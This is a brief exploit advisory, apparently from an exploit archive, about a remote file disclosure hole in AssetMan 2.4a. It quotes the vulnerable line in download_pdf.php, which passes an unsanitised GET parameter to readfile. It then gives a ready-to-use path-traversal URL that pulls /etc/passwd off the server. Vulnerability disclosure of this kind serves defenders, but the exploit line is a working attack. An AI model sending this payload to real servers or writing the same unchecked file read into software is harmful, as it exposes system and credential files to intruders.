AssetMan <= 2.4a (download_pdf.php) Remote File Disclosure Vuln

+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= | |AssetMan 2.4a <= (download_pdf.php) Remote File Disclosure Vulnerability | |Script: AssetMan | |Verson: 2.4a | |URL: http://www.bctree.com/~assetman/assetman-2.4a.zip | |Discover: BorN To K!LL | +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= | |Bug in: |download_pdf.php | |Code: |readfile($_GET["pdf_file"]); | +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= | |ExploiT: |~~~~~ |wWw.SiTe.cOm/[path]/download_pdf.php?pdf_file=../../../../etc/passwd | |+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= | |GreeTz 2: |Dr.2 - str0ke - AsbMay ..... | |KuW SeC .... AsbMay's Group .... | +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= # milw0rm.com [2007-03-11]